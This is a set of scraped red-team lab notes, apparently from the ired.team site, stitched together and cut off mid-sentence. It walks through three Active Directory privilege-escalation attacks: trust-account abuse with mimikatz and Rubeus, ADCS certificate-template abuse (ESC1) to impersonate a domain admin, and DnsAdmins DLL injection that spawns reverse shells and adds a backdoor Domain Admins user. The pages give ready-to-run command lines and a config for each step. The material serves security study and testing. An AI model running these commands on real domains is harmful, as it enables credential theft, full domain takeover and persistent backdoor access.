[](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#requesting-tgt-for-first.local-secondusd) Requesting TGT for first.local\\second$ ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Once we have the NTLM hash for `first.local\second$`, we can request its TGT from `first.local`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fw5fieE5CrbZYhdYhXjLC%252Fimage.png%3Falt%3Dmedia%26token%3D84021003-33f8-4666-9a44-89fce10aedd7&width=768&dpr=3&quality=100&sign=8c1dae48&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#accessing-resources-on-first.local-from-second.local) Accessing Resources on First.local from Second.local ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- At this point on `second-dc.second.local`, we have a TGT for `first.local\second$` committed to memory and we can now start enumerating resources on `first.local` - and this concludes the technique, showing that it's possible to access resources on a trusted domain (as a low privileged user), given the trusting domain is compromised: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FISz1B13cZE7C3yzlGU3m%252Fimage.png%3Falt%3Dmedia%26token%3D2adab319-d0d1-428b-814f-e186471fdeae&width=768&dpr=3&quality=100&sign=6e19c754&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#references) References ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fitm8.dk%2Fhubfs%2FBRANDING%2Fitm8_favicon_logo_16x16px.png&width=20&dpr=3&quality=100&sign=7a77db80&sv=2)Skal vi skabe nutidens og fremtidens IT sammen? itm8improsec.com](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted) [PreviousShadow Credentials](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials) [NextRed Team Infrastructure](https://www.ired.team/offensive-security/red-team-infrastructure) Last updated 3 years ago * [Overview](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#overview) * [Checks](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#checks) * [Compromising Trust Account first.local\\second$](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#compromising-trust-account-first.local-secondusd) * [Requesting TGT for first.local\\second$](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#requesting-tgt-for-first.local-secondusd) * [Accessing Resources on First.local from Second.local](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#accessing-resources-on-first.local-from-second.local) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#references) Copy # on first-dc.first.local get-adtrust -filter * Copy # on second-dc.second.local get-adtrust -filter * Copy # on first-dc.first.local get-aduser 'second$' Copy # from first-dc.first.local get-aduser -Filter * -Server second.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft Copy # on second-dc.second.local get-aduser -Filter * -Server first.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft Copy # on second-dc.second.local mimikatz.exe "lsadump::trust /patch" "exit" Copy #on second-dc.second.local Rubeus.exe asktgt /user:second$ /domain:first.local /rc4:24b07e26ca7affb4ac061f6920cb57ec /nowrap /ptt Copy Get-ADUser roast.user -Server first.local -Properties * | select samaccountname, serviceprincipalnames --- # From Misconfigured Certificate Template to Domain Admin | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin.md) . This is a quick lab to familiarize with ECS1 privilege escalation technique, that illustrates how it's possible to elevate from a regular user to domain administrator in a Windows Domain by abusing over-permissioned Active Directory Certificate Services (ADCS) certificate templates. This lab is based on [Certified Pre-Owned: Abusing Active Directory Certificate Services](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) whitepaper by [Will Schroeder](https://twitter.com/harmj0y) and [Lee Christensen](https://twitter.com/tifkin_) from [SpecterOps](https://specterops.io/) . [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#finding-vulnerable-certificate-templates) Finding Vulnerable Certificate Templates --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Once in an AD environment, we can find vulnerable certificate templates by using `Certify`, a tool released by SpecterOps as part of their research mentioned above: attacker@target Copy certify.exe find /vulnerable Below shows a snippet of the redacted output from `Certify`, that provides information about a vulnerable certificate: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FB3IQGDnjpZQ7sBFuS4sq%252Fvuln-template.png%3Falt%3Dmedia%26token%3Db1bbc1c2-2b06-4674-b9eb-dcf9e6c68bff&width=768&dpr=3&quality=100&sign=7deb1c8c&sv=2) Vulnerable certificate template identified by Certify In the above screenshot, note the following 3 key pieces of information, that tell us that the certificate template is vulnerable and can be abused for privilege escalation from regular user to domain administrator: * `msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT` field field, which indicates that the user, who is requesting a new certificate based on this certificate template, can request the certificate for another user, meaning any user, including domain administrator user. Below shows the same certificate template setting via GUI when inspecting certificate templates via `certsrv.msc`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FlSycJqxClh9Mu0UwEGHP%252Fsuppy-in-request.png%3Falt%3Dmedia%26token%3D56524651-56c3-49b7-bf07-b637b814016a&width=300&dpr=3&quality=100&sign=9d1fe1ba&sv=2) * `PkiExtendedKeyUsage: Client Authentication`, which indicates that the certificate that will be generated based on this certificate template can be used to authenticate to computers in Active Directory. Below shows the same setting via GUI when inspecting certificate templates via `certsrv.msc`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FKf5mPwUetOfyorjJp53S%252Fclient-authentication.png%3Falt%3Dmedia%26token%3D3150eaa4-66ed-4914-85d9-bdb91c33c1d0&width=300&dpr=3&quality=100&sign=6ffeeeb4&sv=2) * `Enrollment Rights: NT Authority\Authenticated Users`, which indicates that any authenticated user in the Active Directory is **allowed to request** new certificates to be generated based on this certificate template. Below shows the same setting via GUI when inspecting certificate templates via `certsrv.msc`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FUbTeSE1Keqjbt1X6d1St%252Fenroll-anyone.png%3Falt%3Dmedia%26token%3Dce634afd-bf3a-48e5-b08b-3ff00904838c&width=300&dpr=3&quality=100&sign=7cf1493e&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#requesting-certificate-with-certify) Requesting Certificate with Certify ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Once the vulnerable certificate template has been identified, we can request a new certificate on behalf of a domain administator using `Certify` by specifying the following parameters: * `/ca` - speciffies the Certificate Authority server we're sending the request to; * `/template` - specifies the certificate template that should be used for generating the new certificate; * `/altname` - specifies the AD user for which the new certificate should be generated. Below shows that the certificate in `PEM` format has been issued successfully: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FRjXQVCo6ikwaiLdjvOED%252Fimage.png%3Falt%3Dmedia%26token%3Db2944e07-3d81-4e96-b643-f4014af87878&width=768&dpr=3&quality=100&sign=efeb2e5&sv=2) New certificate was issued off of the vulnerable certificate template [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#converting-pem-to-pfx) Converting PEM to PFX ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- As mentioned above, the certificate we just retrieved is in a `PEM` format. To use it with a tool like `Rubeus` to request a Kerberos Ticket Granting Ticket (TGT) for the user for which we minted the certificate, we need to convert the certificate to `PFX` format. To do this, copy the certificate content printed out by `Rubeus` and paste it to a file called `cert.pem`. Then, convert it to `cert.pfx` with Open SSL (in Linux) like so: [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#requesting-tgt-with-certificate) Requesting TGT with Certificate --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Once we have the certificate in `cert.pfx`, we can request a Kerberos TGT for the user for which we minted the new certificate: Below shows that a new TGT for the target user (Domain Admin in our case) using [Rubeus](https://github.com/GhostPack/Rubeus) was requested and injected in to the current logon session (because of the `/ptt`): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252F6LNs6J7p9yoOCFNfYJ3G%252Ftgt-retrieved.png%3Falt%3Dmedia%26token%3D23d3fcef-ac44-413b-bc31-248ce0430979&width=768&dpr=3&quality=100&sign=83e14c23&sv=2) Using rubeus to request a TGT for a user for which we minted the certificate At this point, we can test if we elevated our privileges to domain administrator by listing the administrative `c$` share on a server that we don't normally have local administrator privileges on: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FVXZOM6jTlwriFT4Ouxz7%252Ftesting-access.png%3Falt%3Dmedia%26token%3Db5188c0c-cf72-434b-9859-fde4c5672547&width=768&dpr=3&quality=100&sign=cfdf2fec&sv=2) Listing a C$ share to confirm administrator access on a server [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#bonus-requesting-certificate-manually) Bonus: Requesting Certificate Manually ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- This is a bonus section that shows how we can request a new certificate for a targeted user without Rubeus, but with a Certificate Signing Request (CSR) file crafted manually and later submitted to Active Directory Certificate Services self-service web portal. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#crafting-certificate-signing-request-file) Crafting Certificate Signing Request File Create a new file `cert.cnf` with the following contents (modify fields as deemed appropriate): The most important is line 12, which defines the `subjectAltName` field, which is a `samaccountname` of the user in Active Directory, which we want to ultimately impersonate (i.e. domain administrator) for which we will be requesting the certificate. `Samaccountname` value in this file is defined in the variable `$adUserToImpersonate` - you'd need to change it to the administrator's `samaacountname` you want to impersonate. Once the `cert.cnf` file is ready, generate the actual Certificate Signing Request with `openssl` (in Linux): Below shows how a base64 encoded Certificate Signing Request file `cert-request.csr` was created: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fc7E2pPuLZuJHgdqFpKDd%252Fimage.png%3Falt%3Dmedia%26token%3D11a62b63-f947-4d59-92d4-ddf6b87c7a0f&width=768&dpr=3&quality=100&sign=a0ac96e2&sv=2) Certificate Signing Request being generated with open ssl Now, copy the contents of the `cert-request.csr` as we will need it in the last step of this process as described below. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#requesting-certificate-via-certsrv-web-portal) Requesting Certificate via CertSrv Web Portal Navigate to `https://$adcs/certsrv`, where `$adcs` is the Active Directory Certificate Services host and click `Request a certificate`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FSfMISUmpCU88ri2u39pM%252Fimage.png%3Falt%3Dmedia%26token%3D50a85fa8-5a62-4708-80bb-cdef3b67324c&width=768&dpr=3&quality=100&sign=e2db3f55&sv=2) Requesting certificates via ADCS web self service portal Click `advanced certificate request`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252F4oj4LoB5LBSfW3DkDh7z%252Fimage.png%3Falt%3Dmedia%26token%3D28dbc3ed-9dcb-4dbd-9f99-7ee635feaa06&width=768&dpr=3&quality=100&sign=bebbb577&sv=2) Finally, select the vulnerable certificate template you want to base your new rogue certificate on, paste the contents of the `cert-request.csr` into the request field and hit `Submit` to retrieve the new certificate for your target user: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fr6R7Enl3SQtqWwuV8YeW%252Fimage.png%3Falt%3Dmedia%26token%3D5fe2d48b-e6ee-46b2-9703-c2f1620b0089&width=768&dpr=3&quality=100&sign=6f1a925a&sv=2) Portal for submitting advanced certificate request [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fspecterops.io%2Fwp-content%2Fuploads%2Fsites%2F3%2F2022%2F03%2Ffavicon-light.png%3Fw%3D156&width=20&dpr=3&quality=100&sign=61f13b07&sv=2)Certified Pre-OwnedSpecterOps](https://posts.specterops.io/certified-pre-owned-d95910965cd2) [Certified Pre-Owned: Abusing Active Directory Certificate Services](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) [PreviousADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate) [NextShadow Credentials](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials) Last updated 4 years ago * [Finding Vulnerable Certificate Templates](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#finding-vulnerable-certificate-templates) * [Requesting Certificate with Certify](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#requesting-certificate-with-certify) * [Converting PEM to PFX](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#converting-pem-to-pfx) * [Requesting TGT with Certificate](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#requesting-tgt-with-certificate) * [Bonus: Requesting Certificate Manually](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#bonus-requesting-certificate-manually) * [Crafting Certificate Signing Request File](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#crafting-certificate-signing-request-file) * [Requesting Certificate via CertSrv Web Portal](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#requesting-certificate-via-certsrv-web-portal) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin#references) attacker@target Copy certify.exe request /ca:<$certificateAuthorityHost> /template:<$vulnerableCertificateTemplateName> /altname:<$adUserToImpersonate> attacker@target Copy openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx attacker@target Copy Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt cert.cnf Copy [ req ] default_bits = 2048 distinguished_name = req_distinguished_name req_extensions = req_ext [ req_distinguished_name ] countryName = GB stateOrProvinceName = State or Province Name (full name) localityName = Locality Name (eg, city) organizationName = Organization Name (eg, company) commonName = Common Name (e.g. server FQDN or YOUR name) [ req_ext ] subjectAltName = otherName:1.3.6.1.4.1.311.20.2.3;UTF8:$adUserToImpersonate Copy openssl req -out cert-request.csr -newkey rsa:2048 -nodes -keyout key.key -config cert.cnf --- # From DnsAdmins to SYSTEM to Domain Compromise | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise.md) . In this lab I'm trying to get code execution with `SYSTEM` level privileges on a DC that runs a DNS service as originally researched by Shay Ber [here](https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83) . The attack relies on a [DLL injection](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection) into the dns service running as SYSTEM on the DNS server which most of the time is on a Domain Contoller. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#execution) Execution --------------------------------------------------------------------------------------------------------------------------------------------------------------- For the attack to work, we need to have compromised a user that belongs to a `DnsAdmins` group on a domain. Luckily, our user `spotless` already belongs to the said group: Copy net user spotless /domain ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR2g_dc_MTZz9zq2pcT%252F-LR2gtrG4kcHto4Kpr2p%252FScreenshot%2520from%25202018-11-11%252016-55-52.png%3Falt%3Dmedia%26token%3D39dad766-0264-4688-ab3b-70ce088a23d4&width=768&dpr=3&quality=100&sign=d184e7a2&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#building-the-dll) Building the DLL As mentioned earlier, we need to build a DNS plugin DLL that we will be injecting into a dns.exe process on a victim DNS server (DC). Below is a screenshot of the DLL exported functions that are expected by the dns.exe binary when loading a plugin DLL. I have also added a simple system command to invoke a netcat reverse shell once the plugin is initialized and code is executed. I then tested the function with rundll32 as shown below, which returned a reverse shell to my attacking machine - code gets executed, shell gets spawned: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR2p6cFXrtS2pqrKTsc%252F-LR2pCB0IsoJbKE_SZye%252FScreenshot%2520from%25202018-11-11%252017-30-47.png%3Falt%3Dmedia%26token%3D4f52e671-fe5b-4dad-87b6-438c232188a2&width=768&dpr=3&quality=100&sign=cbaef986&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#abuse-dns-with-dnscmd) Abuse DNS with dnscmd Now that we have the DLL and we checked that it is working, we can ask the victim `DC01` to load our malicious DLL (from the victim controlled network share on host 10.0.0.2) next time the service starts (or when the attacker restarts it): The below looks promising and suggests the request to load our malicious DLL was successful: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3jQ_DINF88lVZQlSl%252F-LR3lbJqRmUU2cbyS82n%252FScreenshot%2520from%25202018-11-11%252021-55-59.png%3Falt%3Dmedia%26token%3D7cf97dbb-ae15-4957-be4f-4592f3f51144&width=768&dpr=3&quality=100&sign=c98589fe&sv=2) `dnscmd` is a windows utility that allows people with `DnsAdmins` privileges manage the DNS server. The utility can be installed by adding `DNS Server Tools` to your system as shown in the below screengrab. ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR2g_dc_MTZz9zq2pcT%252F-LR2jG5P2PtXfpGjKZHC%252FScreenshot%2520from%25202018-11-11%252017-04-48.png%3Falt%3Dmedia%26token%3D943f048a-b435-43b6-b0d1-a3bd85cea00e&width=768&dpr=3&quality=100&sign=8bd34146&sv=2) The below command on the victim further suggests that our request was successful and the registry value `ServerLevelPluginDll` points to our malicious DLL: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3jQ_DINF88lVZQlSl%252F-LR3kZiAcrEYYkB8lirK%252FScreenshot%2520from%25202018-11-11%252021-51-21.png%3Falt%3Dmedia%26token%3D135c0f07-0158-49be-b215-66c232a672ad&width=768&dpr=3&quality=100&sign=cb5258c2&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#getting-code-execution-with-nt-system) Getting code execution with NT\\SYSTEM Now the next time dns service starts, our malicious DLL should be loaded to the dns.exe process and a reverse shell should be sent back to our attacking system, so let's go and restart the DNS service: By this point, I should have received a reverse shell, but unfortunately, I did not. After checking the DNS logs on the `DC01` I saw the below error, suggesting there was something off with my DLL: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3jQ_DINF88lVZQlSl%252F-LR3kGZS5dPfxkFl6WeU%252FScreenshot%2520from%25202018-11-11%252021-45-51.png%3Falt%3Dmedia%26token%3Dc1359e0c-f251-43ae-8ffb-572dc603af89&width=768&dpr=3&quality=100&sign=a046ad68&sv=2) I tried exporting functions with C++ name mangling and without and although the DLL exports seemed to be OK per CFF Explorer, I was still not able to make the DC load my malicious DLL successfully without corrupting the dns service: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3jQ_DINF88lVZQlSl%252F-LR3kE5uTrxeT3k4Dw-E%252FScreenshot%2520from%25202018-11-11%252021-46-09.png%3Falt%3Dmedia%26token%3D8f2e3513-d794-48bf-8f55-f94790788538&width=768&dpr=3&quality=100&sign=a44e301&sv=2) Although I was not able to correctly inject the DLL without crashing the dns service in my lab environment, I still decided to publish these notes, in case they will be stubmled upon by a reader who had successfully injected a custom DLL and who would like to share their thoughts on what I am overlooking as this would be much appreciated. Since I could not get my malicious DLL injected into the dns.exe successfully, I thought of trying to inject the meterpreter payload using the same technique. It can be observed, that the DLL with meterpreter payloads gets ineed loaded and we receive a call back attempt from meterpreter, but since the DLL does not conform to the required format (does not have required exported functions), the session dies immediately (or this is what I thought initially - as you will later see, it turns out I was simply using a wrong listener): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3jQ_DINF88lVZQlSl%252F-LR3uOQ_KgAgiNUsHjpj%252FScreenshot%2520from%25202018-11-11%252022-33-58.png%3Falt%3Dmedia%26token%3De0848fc3-acfc-4a0f-a9ec-603ecffaf205&width=768&dpr=3&quality=100&sign=fcc445e4&sv=2) Since the above suggests that the the DLL code still got executed, we can try asking the DLL to execute the following on the DC: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3wJpJaE-2TBTkAUlz%252F-LR3zL4_XFWCzWmEAcPl%252FScreenshot%2520from%25202018-11-11%252022-55-35.png%3Falt%3Dmedia%26token%3De13808db-d221-422b-90f3-5c6cebd14c92&width=768&dpr=3&quality=100&sign=be94acd5&sv=2) Before restarting the DNS service and getting our malicious DLL executed, let's make sure our attacking user `spotless` is not in `Domain Admins` group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3wJpJaE-2TBTkAUlz%252F-LR406u5llhnZHGqfoCg%252FScreenshot%2520from%25202018-11-11%252023-03-40.png%3Falt%3Dmedia%26token%3D6214a1ec-f534-4ed5-aaf5-61cb6b1e174f&width=768&dpr=3&quality=100&sign=9149e4e0&sv=2) Now if we restart the DNS service which will load our `addDA.dll`, we see that the user `spotless` is now a member of the `Domain Admins`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR3wJpJaE-2TBTkAUlz%252F-LR408ZJJMolcT1DcOoL%252FScreenshot%2520from%25202018-11-11%252023-03-52.png%3Falt%3Dmedia%26token%3D4746dfee-a912-43c3-a243-39030cb5e1f6&width=768&dpr=3&quality=100&sign=f06da38d&sv=2) Warning: at this time the DNS service is probably crashed, so be warned - using DLLs that do not conform to the plugin requirements is not stealthy and this type of activity probably will get picked up by defenders really quickly unless you can restore the DNS service immediately. Below confirms that the dns service is down, however we can still access the DC C$ share by DC's IP from our spotless user, meaning that we have escalated privileges to DA: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR41O44cQ3YotVrk5kY%252F-LR41S-MWzZ55043ISaz%252FScreenshot%2520from%25202018-11-11%252023-09-23.png%3Falt%3Dmedia%26token%3D654507ef-c0f6-48b0-b6cf-2ad45cb2aebf&width=768&dpr=3&quality=100&sign=73356a9&sv=2) One could think about scripting/automating the after-attack cleanup and the DNS service restoration and include the required code in the same malicious DLL that creates a backdoor user in the first place: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR41O44cQ3YotVrk5kY%252F-LR44KAs1K0dRuQZu7sn%252FScreenshot%2520from%25202018-11-11%252023-21-55.png%3Falt%3Dmedia%26token%3D68912c7a-da26-422a-81c9-a62750216c54&width=768&dpr=3&quality=100&sign=b7c2939e&sv=2) Once the DNS service is restored, we can now access the C$ using DC01 computer name: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR41O44cQ3YotVrk5kY%252F-LR44v5SZofx3hvBlMFs%252FScreenshot%2520from%25202018-11-11%252023-24-44.png%3Falt%3Dmedia%26token%3Da3f8be90-4a96-43ae-8260-f6386d6978a0&width=768&dpr=3&quality=100&sign=55f3238c&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#bonus-reminder) Bonus Reminder It turns out that the reason the meterpreter payload failed because of a classic mistake of not using the right listener for staged/non-staged payloads - always double check your payloads and make sure that the listeners are able to handle the callbacks. Once I set up the listener correctly, the meterpreter shell came back as expected - note that the 